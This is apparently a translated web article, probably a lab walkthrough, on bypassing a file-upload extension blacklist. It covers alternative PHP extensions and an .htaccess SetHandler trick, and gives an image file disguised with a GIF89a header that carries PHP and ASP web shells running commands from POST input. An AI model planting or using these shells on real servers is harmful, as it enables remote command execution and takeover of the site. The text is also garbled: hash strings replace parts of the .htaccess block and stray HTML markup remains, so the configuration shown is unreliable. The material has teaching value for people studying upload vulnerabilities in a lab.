Home > Article > Backend Development > How to bypass blacklist when uploading files
This article mainly introduces the method of bypassing the blacklist by uploading files. It has certain reference value. Now I share it with you. Friends in need can refer to it.
This level mainly involves setting the upload suffix. , restricting suffixes such as asp, php, jsp, etc., and uploading is not allowed.
Position 1: This bypass method is to modify the suffix to .php3, php5, etc. Here is the blacklist verification ('.asp', '.aspx', '.php', '.jsp') , we can upload php3, php5... and other suffix names that can be parsed by the server
.htaccess with the following content:
7dbec1342203bda950e5c4d4c26c928b
SetHandler application/x-httpd-php
d4f50085796fcbc8b99545763f01d848
##2. Upload 1.jpg script
Content:
GIF89a <?php eval($_POST['joker']);?> <%eval request("joker")%> <?php system($_POST['cmd']);?>
<span style='margin: 0px; padding: 0px; color: #ff00ff; line-height: 1.5 !important; font-family: "Courier New" !important; font-size: 12px !important'><br>最后查看结果如下:<br><img src="https://img.php.cn/upload/article/000/000/009/8c177c6b99f31ac79c542a12d4053de9-3.png" alt=""><br></span>
Related recommendations:
PHP uses Azure Storage Blob to upload filesIntroduction to nginx memcache cachingThe above is the detailed content of How to bypass blacklist when uploading files. For more information, please follow other related articles on the PHP Chinese website!